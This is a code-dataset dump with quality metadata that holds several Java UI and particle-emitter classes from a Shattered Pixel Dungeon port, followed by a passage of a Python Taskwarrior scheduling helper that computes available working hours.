0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/ui/Button.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.ui; import com.watabou.input.NoosaInputProcessor; import com.watabou.noosa.Game; import com.watabou.noosa.TouchArea; public class Button<T> extends Component { public static float longClick = 1f; protected TouchArea hotArea; protected boolean pressed; protected float pressTime; protected boolean processed; public T hotKey = null; @Override protected void createChildren() { hotArea = new TouchArea<T>( 0, 0, 0, 0 ) { @Override protected void onTouchDown(NoosaInputProcessor.Touch touch) { pressed = true; pressTime = 0; processed = false; Button.this.onTouchDown(); }; @Override protected void onTouchUp(NoosaInputProcessor.Touch touch) { pressed = false; Button.this.onTouchUp(); }; @Override protected void onClick( NoosaInputProcessor.Touch touch ) { if (!processed) { if (NoosaInputProcessor.modifier && onLongClick()) { // Do nothing } else { Button.this.onClick(); } } }; @Override public boolean onKeyDown(NoosaInputProcessor.Key<T> key) { return Button.this.onKeyDown(key); } @Override public boolean onKeyUp(NoosaInputProcessor.Key<T> key) { return Button.this.onKeyUp(key); } }; add( hotArea ); } @Override public void update() { super.update(); hotArea.active = visible; if (pressed) { if ((pressTime += Game.elapsed) >= longClick) { pressed = false; if (onLongClick()) { hotArea.reset(); processed = true; onTouchUp(); Game.vibrate( 50 ); } } } } protected void onTouchDown() {}; protected void onTouchUp() {}; protected void onClick() {}; protected boolean onLongClick() { return false; }; protected boolean onKeyDown(NoosaInputProcessor.Key<T> key) { return false; } protected boolean onKeyUp(NoosaInputProcessor.Key<T> key) { if (active && hotKey != null && key.action.equals(hotKey)) { if (NoosaInputProcessor.modifier) { return onLongClick(); } else { onClick(); return true; } } else { return false; } } @Override protected void layout() { hotArea.x = x; hotArea.y = y; hotArea.width = width; hotArea.height = height; } }
3,011
Button
java
en
java
code
{"qsc_code_num_words": 349, "qsc_code_num_chars": 3011.0, "qsc_code_mean_word_length": 5.82234957, "qsc_code_frac_words_unique": 0.40401146, "qsc_code_frac_chars_top_2grams": 0.0511811, "qsc_code_frac_chars_top_3grams": 0.05167323, "qsc_code_frac_chars_top_4grams": 0.0511811, "qsc_code_frac_chars_dupe_5grams": 0.13976378, "qsc_code_frac_chars_dupe_6grams": 0.1269685, "qsc_code_frac_chars_dupe_7grams": 0.07283465, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01064283, "qsc_code_frac_chars_whitespace": 0.21986051, "qsc_code_size_file_byte": 3011.0, "qsc_code_num_lines": 130.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 23.16153846, "qsc_code_frac_chars_alphabet": 0.85440613, "qsc_code_frac_chars_comments": 0.26369977, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23076923, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.16483516, "qsc_codejava_score_lines_no_logic": 0.2967033, "qsc_codejava_frac_words_no_modifier": 0.875, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 0.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/ui/CheckBox.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.ui; public class CheckBox<T> extends Button<T> { protected boolean checked; public boolean checked() { return checked; } public void checked( boolean value ) { if (checked != value) { checked = value; updateState(); } } protected void updateState() { } @Override protected void onClick() { checked( !checked ); onChange(); } protected void onChange() { } }
1,208
CheckBox
java
en
java
code
{"qsc_code_num_words": 165, "qsc_code_num_chars": 1208.0, "qsc_code_mean_word_length": 5.15757576, "qsc_code_frac_words_unique": 0.59393939, "qsc_code_frac_chars_top_2grams": 0.03877791, "qsc_code_frac_chars_top_3grams": 0.04582844, "qsc_code_frac_chars_top_4grams": 0.06698002, "qsc_code_frac_chars_dupe_5grams": 0.09635723, "qsc_code_frac_chars_dupe_6grams": 0.06580494, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01785714, "qsc_code_frac_chars_whitespace": 0.21192053, "qsc_code_size_file_byte": 1208.0, "qsc_code_num_lines": 51.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 23.68627451, "qsc_code_frac_chars_alphabet": 0.87605042, "qsc_code_frac_chars_comments": 0.64652318, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.22727273, "qsc_codejava_score_lines_no_logic": 0.36363636, "qsc_codejava_frac_words_no_modifier": 0.83333333, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 0.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/ui/Component.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.ui; import com.watabou.noosa.Group; public class Component extends Group { protected float x; protected float y; protected float width; protected float height; public Component() { super(); createChildren(); } public Component setPos( float x, float y ) { this.x = x; this.y = y; layout(); return this; } public Component setSize( float width, float height ) { this.width = width; this.height = height; layout(); return this; } public Component setRect( float x, float y, float width, float height ) { this.x = x; this.y = y; this.width = width; this.height = height; layout(); return this; } public boolean inside( float x, float y ) { return x >= this.x && y >= this.y && x < this.x + width && y < this.y + height; } public void fill( Component c ) { setRect( c.x, c.y, c.width, c.height ); } public float left() { return x; } public float right() { return x + width; } public float centerX() { return x + width / 2; } public float top() { return y; } public float bottom() { return y + height; } public float centerY() { return y + height / 2; } public float width() { return width; } public float height() { return height; } protected void createChildren() { } protected void layout() { } }
2,137
Component
java
en
java
code
{"qsc_code_num_words": 298, "qsc_code_num_chars": 2137.0, "qsc_code_mean_word_length": 4.73154362, "qsc_code_frac_words_unique": 0.37583893, "qsc_code_frac_chars_top_2grams": 0.06241135, "qsc_code_frac_chars_top_3grams": 0.02765957, "qsc_code_frac_chars_top_4grams": 0.04042553, "qsc_code_frac_chars_dupe_5grams": 0.2070922, "qsc_code_frac_chars_dupe_6grams": 0.13049645, "qsc_code_frac_chars_dupe_7grams": 0.07375887, "qsc_code_frac_chars_dupe_8grams": 0.07375887, "qsc_code_frac_chars_dupe_9grams": 0.07375887, "qsc_code_frac_chars_dupe_10grams": 0.07375887, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0116636, "qsc_code_frac_chars_whitespace": 0.23771642, "qsc_code_size_file_byte": 2137.0, "qsc_code_num_lines": 109.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 19.60550459, "qsc_code_frac_chars_alphabet": 0.8538981, "qsc_code_frac_chars_comments": 0.36546561, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.21212121, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.22727273, "qsc_codejava_score_lines_no_logic": 0.42424242, "qsc_codejava_frac_words_no_modifier": 0.9375, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/particles/Emitter.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.particles; import com.watabou.glwrap.Blending; import com.watabou.noosa.Game; import com.watabou.noosa.Group; import com.watabou.noosa.Visual; import com.watabou.utils.PointF; import com.watabou.utils.Random; public class Emitter extends Group { protected boolean lightMode = false; public float x; public float y; public float width; public float height; protected Visual target; public boolean fillTarget = true; protected float interval; protected int quantity; public boolean on = false; public boolean autoKill = true; protected int count; protected float time; protected Factory factory; public void pos( float x, float y ) { pos( x, y, 0, 0 ); } public void pos( PointF p ) { pos( p.x, p.y, 0, 0 ); } public void pos( float x, float y, float width, float height ) { this.x = x; this.y = y; this.width = width; this.height = height; target = null; } public void pos( Visual target ) { this.target = target; } public void pos( Visual target, float x, float y, float width, float height ) { pos(x, y, width, height); pos(target); } public void burst( Factory factory, int quantity ) { start( factory, 0, quantity ); } public void pour( Factory factory, float interval ) { start( factory, interval, 0 ); } public void start( Factory factory, float interval, int quantity ) { this.factory = factory; this.lightMode = factory.lightMode(); this.interval = interval; this.quantity = quantity; count = 0; time = Random.Float( interval ); on = true; } @Override public void update() { if (on) { time += Game.elapsed; while (time > interval) { time -= interval; emit( count++ ); if (quantity > 0 && count >= quantity) { on = false; break; } } } else if (autoKill && countLiving() == 0) { kill(); } super.update(); } protected void emit( int index ) { if (target == null) { factory.emit( this, index, x + Random.Float( width ), y + Random.Float( height ) ); } else { if (fillTarget) { factory.emit( this, index, target.x + Random.Float( target.width ), target.y + Random.Float( target.height ) ); } else { factory.emit( this, index, target.x + x + Random.Float( width ), target.y + y + Random.Float( height ) ); } } } @Override public void draw() { if (lightMode) { Blending.setLightMode(); super.draw(); Blending.setNormalMode(); } else { super.draw(); } } abstract public static class Factory { abstract public void emit( Emitter emitter, int index, float x, float y ); public boolean lightMode() { return false; } } }
3,531
Emitter
java
en
java
code
{"qsc_code_num_words": 461, "qsc_code_num_chars": 3531.0, "qsc_code_mean_word_length": 4.97830803, "qsc_code_frac_words_unique": 0.30368764, "qsc_code_frac_chars_top_2grams": 0.04793028, "qsc_code_frac_chars_top_3grams": 0.04183007, "qsc_code_frac_chars_top_4grams": 0.02091503, "qsc_code_frac_chars_dupe_5grams": 0.13464052, "qsc_code_frac_chars_dupe_6grams": 0.10152505, "qsc_code_frac_chars_dupe_7grams": 0.0453159, "qsc_code_frac_chars_dupe_8grams": 0.02875817, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00971236, "qsc_code_frac_chars_whitespace": 0.24185783, "qsc_code_size_file_byte": 3531.0, "qsc_code_num_lines": 166.0, "qsc_code_num_chars_line_max": 81.0, "qsc_code_num_chars_line_mean": 21.27108434, "qsc_code_frac_chars_alphabet": 0.84759059, "qsc_code_frac_chars_comments": 0.2211838, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.14035088, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.10526316, "qsc_codejava_score_lines_no_logic": 0.26315789, "qsc_codejava_frac_words_no_modifier": 0.92307692, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/particles/BitmaskEmitter.java
/* * Copyright (C) 2012-2015 Oleg Dolya * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.particles; import com.badlogic.gdx.graphics.Pixmap; import com.badlogic.gdx.graphics.TextureData; import com.watabou.noosa.Image; import com.watabou.utils.Random; import com.watabou.utils.RectF; public class BitmaskEmitter extends Emitter { // DON'T USE WITH COMPLETELY TRANSPARENT IMAGES!!! private Pixmap map; private int mapW; private int mapH; public BitmaskEmitter( Image target ) { super(); this.target = target; map = target.texture.bitmap; mapW = map.getWidth(); mapH = map.getHeight(); } @Override protected void emit( int index ) { RectF frame = ((Image)target).frame(); float ofsX = frame.left * mapW; float ofsY = frame.top * mapH; float x, y; do { x = Random.Float( frame.width() ) * mapW; y = Random.Float( frame.height() ) * mapH; } while ((map.getPixel( (int)(x + ofsX), (int)(y + ofsY) ) & 0x000000FF) == 0); factory.emit( this, index, target.x + x * target.scale.x, target.y + y * target.scale.y ); } }
1,699
BitmaskEmitter
java
en
java
code
{"qsc_code_num_words": 245, "qsc_code_num_chars": 1699.0, "qsc_code_mean_word_length": 4.85306122, "qsc_code_frac_words_unique": 0.52653061, "qsc_code_frac_chars_top_2grams": 0.03784693, "qsc_code_frac_chars_top_3grams": 0.03280067, "qsc_code_frac_chars_top_4grams": 0.04793944, "qsc_code_frac_chars_dupe_5grams": 0.11606392, "qsc_code_frac_chars_dupe_6grams": 0.0470984, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01235465, "qsc_code_frac_chars_whitespace": 0.19011183, "qsc_code_size_file_byte": 1699.0, "qsc_code_num_lines": 62.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 27.40322581, "qsc_code_frac_chars_alphabet": 0.85174419, "qsc_code_frac_chars_comments": 0.43672749, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.01043841, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.03125, "qsc_codejava_score_lines_no_logic": 0.3125, "qsc_codejava_frac_words_no_modifier": 0.5, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00sapo/taskcheck
taskcheck/common.py
import subprocess import json from datetime import datetime, timedelta from pathlib import Path import appdirs from rich.console import Console from taskcheck.ical import ical_to_dict console = Console() config_dir = Path(appdirs.user_config_dir("task")) # Taskwarrior status to avoid AVOID_STATUS = ["completed", "deleted", "recurring"] long_range_time_map = {} def get_task_env(taskrc=None): import os env = os.environ.copy() if taskrc: env['TASKRC'] = taskrc env['TASKDATA'] = taskrc return env # Get tasks from Taskwarrior and sort by urgency def get_tasks(taskrc=None): env = get_task_env(taskrc) result = subprocess.run(["task", "export"], capture_output=True, text=True, env=env) tasks = json.loads(result.stdout) return sorted( (task for task in tasks if "estimated" in task), key=lambda t: -t.get("urgency", 0), ) def hours_to_decimal(hour): return int(hour) + (hour - int(hour)) * 100 / 60 def hours_to_time(hour): hours = int(hour) minutes = int((hour - hours) * 100) return datetime.strptime(f"{hours}:{minutes}", "%H:%M").time() def time_to_decimal(time): # round to 2 digits after the point return time.hour + time.minute / 60 def get_available_hours(time_map, date, calendars, verbose=False): day_of_week = date.strftime("%A").lower() schedule = time_map.get(day_of_week, []) available_hours = sum( hours_to_decimal(end) - hours_to_decimal(start) for start, end in schedule ) blocked_hours = 0 for schedule_start, schedule_end in schedule: # schedule_start and schedule_end are numbers, actually # so let's convert them to datetime.time objects schedule_start = hours_to_time(schedule_start) schedule_end = hours_to_time(schedule_end) schedule_blocked_hours = 0 for calendar in calendars: for event in calendar: # we use str to make object serializable as jsons if isinstance(event["start"], str): event["start"] = datetime.fromisoformat(event["start"]) if isinstance(event["end"], str): event["end"] = datetime.fromisoformat(event["end"]) if event["start"].date() > date: break elif event["end"].date() < date: continue # check if the event overlaps with one of the working hours event_start = event["start"].time() event_end = event["end"].time() if event["start"].date() < date: event_start = datetime(date.year, date.month, date.day, 0, 0).time() if event["end"].date() > date: event_end = datetime(date.year, date.month, date.day, 23, 59).time() if event_start < schedule_end and event_end > schedule_start: schedule_blocked_hours += time_to_decimal( min(schedule_end, event_end) ) - time_to_decimal(max(schedule_start, event_start)) if verbose and schedule_blocked_hours > 0: print( f"Blocked hours on {date} between {schedule_start} and {schedule_end}: {schedule_blocked_hours}" ) blocked_hours += schedule_blocked_hours available_hours -= blocked_hours return available_hours def pdth_to_hours(duration_str): # string format is P#DT#H # with D and H optional duration_str = duration_str[1:] # Remove leading "P" days, hours, minutes = 0, 0, 0 if "D" in duration_str: days, duration_str = duration_str.split("D") days = int(days) if "H" in duration_str: if "T" in duration_str: hours = int(duration_str.split("T")[1].split("H")[0]) else: hours = int(duration_str.split("H")[0]) if "M" in duration_str: if "H" in duration_str: minutes = int(duration_str.split("H")[1].split("M")[0]) else: if "T" in duration_str: minutes = int(duration_str.split("T")[1].split("M")[0]) else: minutes = int(duration_str.split("M")[0]) return days * 24 + hours + minutes / 60 def hours_to_pdth(hours): days_ = hours / 24 hours_ = hours % 24 minutes_ = int(round((hours_ - int(hours_)) * 60)) days_ = int(days_) hours_ = int(hours_) minutes_ = int(minutes_) ret = "P" if days_ == 0: ret += "T" else: ret += f"{days_}DT" if hours_ > 0: ret += f"{hours_}H" if minutes_ > 0: ret += f"{minutes_}M" if ret == "PT": print("Warning: hours_to_pdth() returned 'PT' for hours = ", hours) return ret def get_long_range_time_map( time_maps, time_map_names, days_ahead, calendars, verbose=False ): key = ",".join(time_map_names) if key in long_range_time_map: task_time_map = long_range_time_map[key] else: if verbose: print(f"Calculating long range time map for {key}") task_time_map = [] for d in range(days_ahead): date = datetime.today().date() + timedelta(days=d) daily_hours = 0 for time_map_name in time_map_names: if time_map_name not in time_maps: raise ValueError(f"Time map '{time_map_name}' does not exist.") time_map = time_maps[time_map_name] daily_hours += get_available_hours(time_map, date, calendars) task_time_map.append(daily_hours) long_range_time_map[key] = task_time_map today_time = time_to_decimal(datetime.now().time()) today_weekday = datetime.today().strftime("%A").lower() today_used_hours = 0 # compare with the time_maps of today for time_map_name in time_map_names: time_map = time_maps[time_map_name].get(today_weekday) if time_map: for schedule_start, schedule_end in time_map: schedule_start = hours_to_decimal(schedule_start) schedule_end = hours_to_decimal(schedule_end) if schedule_start <= today_time <= schedule_end: today_used_hours += today_time - schedule_start break elif today_time > schedule_end: today_used_hours += schedule_end - schedule_start return task_time_map, today_used_hours def 